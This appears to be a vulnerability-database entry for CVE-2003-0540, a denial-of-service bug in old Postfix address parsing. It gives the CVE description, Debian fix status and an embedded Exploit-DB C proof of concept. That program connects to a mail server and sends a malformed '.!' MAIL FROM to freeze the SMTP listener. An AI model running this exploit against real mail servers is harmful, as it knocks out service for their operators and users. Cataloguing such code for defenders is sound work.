CVE-2003-0540

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

The address parser code in Postfix 1.1.12 and earlier allows remote attackers to cause a denial of service (lock) via (1) a malformed envelope address to a local host that would generate a bounce and contains the ".!" string in the MAIL FROM or Errors-To headers, which causes nqmgr to lock up, or (2) via a valid MAIL FROM with a RCPT TO containing a ".!" string, which causes an instance of the SMTP listener to lock up.

Predictions

Exploit likelihood
55%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-22981 dos linux verified text · 3 KB
r3b00t · 2003-08-04

Postfix 1.1.x - Denial of Service (1)

text exploit Source: Exploit-DB
// source: https://www.securityfocus.com/bid/8333/info

Debian has reported two vulnerabilities in the Postfix mail transfer agent. The first vulnerability, CAN-2003-0468, can allow for an adversary to "bounce-scan" a private network. It has also been reported that this vulnerability can be exploited to use the server as a distributed denial of service tool. These attacks are reportedly possible through forcing the server to connect to an arbitrary port on an arbitrary host. 

The second vulnerability, CAN-2003-0540, is another denial of service. It can be triggered by a malformed envelope address and can cause the queue manager to lock up until the message is removed manually from the queue. It is also reportedly possible to lock the SMTP listener, also resulting in a denial of service.

/*
 postfixdos.c for 1.1.12 by r3b00t <r3b00t@tx.pl>
 ------------------------------------------------
 remote/local Postfix up to (including) 1.1.12 DoS
 discovered by lcamtuf <lcamtuf@coredump.cx>
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>
#include <arpa/inet.h>

int sock = 0;

void get_response(void);
void say(char *it);

int main(int argc, char* argv[]) {
    struct hostent *hp;
    struct sockaddr_in addr;

    printf("postfixdos.c for 1.1.12 by r3b00t <r3b00t@tx.pl>\n");

    if (argc<2) {
        printf("usage: %s <smtpserver>\n", argv[0]);
        exit(0);
    }

    hp=gethostbyname(argv[1]);

    if (!hp) {
        printf("can't resolve %s\n", argv[1]);
        exit(0);
    }

    bzero((char *)&addr, sizeof(addr));

    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        printf("can't create socket\n");
        exit(0);
    }

    bcopy(hp->h_addr, (char *)&addr.sin_addr, hp->h_length);
    addr.sin_family=AF_INET;
    addr.sin_port=htons(25);

    if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))!=0) {
        printf("can't connect to %s\n", argv[1]);
        close(sock);
        exit(0);
    }

    get_response();

    say("helo host\r\n");
    say("mail from: <.!>\r\n");
    say("rcpt to: <someuser123@[127.0.0.1]>\r\n");
    /* now should be freezed */

    shutdown(sock, 2);
    close(sock);

    printf("done.\n");

    return 0;
}

void get_response(void) {
    char buff[64];
    recv(sock, buff, sizeof(buff), 0);
    if (buff[0]!='2' && buff[0]!='3') printf("%s", buff);
}

void say(char *it) {
    send(sock, it, strlen(it), 0);
    get_response();
}
EDB-22982 dos linux verified
daniels@legend.co.uk · 2003-08-04

Postfix 1.1.x - Denial of Service (2)

Source code queued for fetch — refresh in a moment.

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 1.1.12
sid Fixed 1.1.12
forky Fixed 1.1.12
bullseye Fixed 1.1.12
bookworm Fixed 1.1.12

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.